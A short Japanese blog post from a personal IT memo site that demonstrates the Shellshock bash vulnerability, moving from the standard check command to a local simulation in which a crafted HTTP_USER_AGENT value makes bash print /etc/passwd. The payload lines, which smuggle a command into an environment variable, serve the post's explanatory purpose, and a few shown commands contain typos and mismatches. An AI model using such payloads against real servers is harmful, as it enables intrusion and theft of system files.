くんすとの備忘録

IT系技術メモ

移転しました。

15秒後に自動的にリダイレクトします。

ShellShockのヤバさを実感する遊び

ShellShockの確認コードとして

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

というのがありますが、これで何が怖いの?っていう感じですよね?

……というわけで、もう少しリアルな想定で遊んでみましょう。

想定

CGIを使ったwebサーバがあり、攻撃者がUSER_AGENTを偽装して攻撃してきている、という想定で遊びます。

ワークショップ

1. CGIにアクセスされると環境変数「USER_AGENT」に自動的に値がセットされます。まずはそのシミュレート。

$ export HTTP_USER_AGENT='() { :;}; echo /bin/cat /etc/passwd'
$ cho $HTTP_USER_AGENT
() { :;}; /bin/cat /etc/passwd

2. CGIのプロセスが起動した想定で、bashを起動します

$ bash
# $FreeBSD: release/10.0.0/etc/master.passwd 256366 2013-10-12 06:08:18Z rpaulo $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
(以下略)

と、このように/etc/passwdの中身が出力されてしまいます。

これはマジヤバでしょう!!!